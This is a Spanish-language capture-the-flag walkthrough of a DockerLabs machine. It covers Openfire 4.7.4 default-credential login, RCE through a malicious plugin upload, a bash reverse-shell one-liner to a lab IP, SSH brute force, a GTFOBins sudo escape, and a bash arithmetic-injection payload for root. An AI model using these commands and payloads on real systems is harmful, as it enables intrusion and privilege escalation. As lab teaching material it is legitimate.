Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Ya que tenemos la dirección IP realizamos un escaneo usando nmap
y podemos observar que tenemos varios puertos abiertos.
Revisando los puertos el que más nos llama la atención es el puerto 9090, ya que indica zeus-admin
. Si ingresamos la dirección con el número de puerto en el navegador podemos observar que tenemos un panel de login. También debemos notar que la versión es Openfire 4.7.4
.
Probamos unas credenciales genéricas y haciendo uso de una podemos acceder
admin:admin
Revisando los permisos del usuario podemos observar que tenemos permisos de administrador.
Ya que tenemos permisos de administrador buscamos si podemos aprovecharnos de ello y podemos observar que en la pestaña de plugins podemos subir archivos .jar. Buscando exploits para aprovecharnos de esto podemos observar que y hay un CVE que permite la un RCE
Si vamos al primer enlace podemos obtener el RCE, clonamos el repositorio y luego subimos el archivo, ya que nosotros tenemos las credenciales de usuario con permiso de root no necesitamos recrear todos los pasos solo hacer uso del archivo .jar
Si se subió de manera correcta al dirigirnos a la pestaña de server
luego a server settings
en la parte inferior podremos observar la opción de management Tool
.
Al realizar clic nos preguntará por un password el cual en el GitHub indicaban que era 123
.
Una vez ingresada el password observaremos que cambia el menú y debemos seleccionar la opción de system command
.
Para terminar esta máquina lo que debemos realizar es establecer una Shell interactiva para ello ingresamos el siguiente comando.
bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'
Pero antes debemos iniciar nuestro listener y luego enviamos el comando.
Tratamos de usar este método, pero no obtenemos respuesta, probando otras variantes de Shell tampoco logramos establecer conexión. Revisamos los usuarios que tiene el sistema y observamos 2
chocolatitochingon
pinguinacio
Realizamos fuerza bruta con ambos usuarios para ver si obtenemos un password y podemos observar que solo obtuvimos para chocolatitochingon
.
chocolatitochingon:chocolate
Ingresamos por ssh y ya estamos como el usuario chocolatitochingon
.
Esto podríamos culminarlo si desde la consola que obtuvimos en web damos permisos para que cualquier usuario pueda ejecutar la bash como root. chmod u+s /bin/bash
.
Y haciendo un bash -p
ya seriamos root.
Pero si vamos un poco más allá y hacemos un sudo -l
observamos que tenemos la capacidad de convertirnos en pinguinacio
haciendo uso de un binario.
Si nos dirigimos a GFTOBins observamos que solo debemos agregar un comando, pero tener en cuenta que es para ser pinguinacio
.
Enviamos el comando.
Observamos una ventana de opciones y lo que hacemos es ingresar !/bin/sh
y podemos observar que si realizamos un whoami somos pinguinacio
.
Para tener una mejor facilidad volveremos a generar la shell
Si realizamos un sudo -l
como ese usuario podemos observar que podemos hacer uso de un script para escalar como root.
Leemos el script podemos observar que no hace la validación de los comandos que se ingresan.
Así que podemos aprovecharnos para poder ejecutar código arbitrario. Para tener una mejor idea de como funciona visitar el siguiente link arbitrary code.
a[$(bash >&2)]+42
Ejecutamos el script como root, agregamos el código arbitrario para que nos genere una shell y podemos observar que somos root, de esta manera culminando la máquina.